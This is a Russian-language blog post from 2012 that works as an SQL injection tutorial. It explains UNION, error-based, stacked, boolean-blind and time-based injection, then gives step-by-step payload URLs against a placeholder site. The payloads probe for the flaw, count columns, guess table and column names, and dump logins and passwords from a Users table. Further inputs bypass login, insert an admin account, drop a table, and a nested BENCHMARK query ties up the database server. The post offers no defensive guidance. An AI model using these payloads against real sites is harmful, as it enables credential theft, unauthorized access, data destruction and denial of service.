четверг, 25 октября 2012 г.

Sql -инъекции


SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода  (например, $query="SELECT * FROM users WHERE id=".$_REQUEST["id"]). В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее "интересными" именами (например "users"). После этого, в зависимости от привилегий, с которыми запущено уязвимое приложение, он может обратиться к защищенным частям бэк-энда веб-приложения (например, прочитать файлы на стороне хоста или выполнить произвольные команды).

Есть пять основных классов SQL-инъекций:
  1. UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с "UNION ALL SECECT". Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
  2. Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то "рядом" вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
  3. Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
  4. Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в "чистом" виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения "true"-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
  5. Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер "играет" с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Рекомендую прочитать мануал Дмитрия Евтеева "SQL Injection: От А до Я". Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются.

КАК НАЙТИ SQL INJECTION

Адресная строка

Допишем в адресной строке кавычку в переменную "id", вот так 
http://xxx/news.php?id=1' 
http://xxx/news.php?id=1"
http://xxx/news.php?id=1 order by 1000 
http://xxx/news.php?id=1'/* 
http://xxx/news.php?id=1'# 
http://xxx/news.php?id=1 AND 1=1
http://xxx/news.php?id=1 AND 1=2
http://xxx/news.php?id=1' AND '1'='1
Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' 
Если этого сообщения нет то есть три варианта:

1. Кавычка фильтруется
2. Отключен отчет об ошибках
3. Здесь нет иньекции

Чтобы определить то, что кавычка фильтруется, можно вписать
http://xxx/news.php?id=1 blablabla
БД не поймет что это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla
Если отчет об ошибках выключен тогда проверяем вот так 
http://xxx/news.php?id=1 -- 
Должно отобразиться точно также как и http://xxx/news.php?id=1

ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

Узнаем структуру БД

Модифицируем обращение к скрипту 
http://xxx/news.php?id=1' UNION SELECT 1 -- 
Запрос к БД у нас получается вот таким: 
SELECT * FROM news WHERE id='1' UNION SELECT 1 --  
Количество столбцов до UNION и после должны соответствовать, и вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns
Нам нужно подобрать количество столбцов (что бы их количество до UNION и после соответствовало). Делаем методом подбора:
http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
Если отобразилось точно также как и http://xxx/news.php?id=1
значит количество полей подобрано, то есть их 6 штук.

Чтобы ускорить метод подбора можно использовать запросы Group by
http://xxx/news.php?id=1' GROUP BY 2 --
Будет отображен без ошибок если количество полей меньше или равно 2.

Тот же самый принцип используется в функции ORDER BY. И немного меняется текст ошибки если полей больше.

Далее нам нужно узнать имя таблицы – можно включить перебор
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- 
до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist
Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 –

что это значит? Это значит то, что существует таблица Users и нужно приступить к перебору столбцов.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --
Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'
Там где пропадает сообщение об ошибке значит такой столбец существует.

И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

Для этих же целей можно использовать ряд инструментов. Я попробовала SQLMAP.


Используем полученные знания

Обращение к скрипту таким образом 
http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 – 
Выводит нам логин и пароль первого юзера из таблицы Users.

В окне ввода чего-нибудь куда-нибудь вводим запросы


Name вводим = admin’ –
Пароль вводим = password 
Получаем запрос
 SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'
Name вводим = admin
Пароль вводим = password' OR login='Admin' –
Получаем запрос
 SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
Name вводим = admin
Pass=% (сработает если запрос написан с использованием оператора LIKE)

Зная структуру БД

Name вводим = ‘; INSERT INTO user (user, password) VALUES (‘admin’, ‘pass’) –

Name вводим = ‘; DROP TABLE user –


DOS атака на SQL сервер

Функция BENCHMARK выполняет одно и тоже действие несколько раз.

SELECT BENCHMARK(100000,md5(current_time))

А если попробовать вложенный BENCHMARK?

SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

Выполняется очень долго
http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --

Комментариев нет:

Отправить комментарий